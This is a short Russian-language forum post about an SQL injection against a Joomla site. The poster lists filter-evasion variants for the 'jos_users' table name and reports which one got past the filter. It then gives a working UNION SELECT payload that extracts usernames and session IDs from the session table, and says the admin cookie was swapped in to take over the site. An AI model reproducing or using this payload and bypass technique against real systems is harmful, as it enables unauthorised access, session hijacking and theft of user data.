Цитата:
Сообщение от faza02
urlencode, double urlencode, /*!12345jos_users*/, utf encode, from {x jos_users}, from `jos_users` и т. д.
реакция конкретно на jos_users? или users? или _?
|
Конкретно на
jos_ или
#__
Данные в POST, не бинарные.
#__users - не работает
%23__users - не работает
%2523__users - не работает
/*!12345jos_users*/ - не работает
from `jos_users` - не работает
from `database`. `jos_users` - не работает
/*!12345#__users*/ -
работает.
Вытащил сессию так:
0") /*!union select*/ 1,2,3,4,5,concat_ws(0x3a,username,userid,client_id ,session_id),7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36, 37,38,39 from /*!12345#__session*/`
Через EditThisCookie в Chrome(http://www.editthiscookie.com/) подменил куку админа и залился.
Всем спасибо за внимание!
ps
faza02, напишите примеры запросов людям на будущее с
utf encode и
from {x jos_users}, спасибо!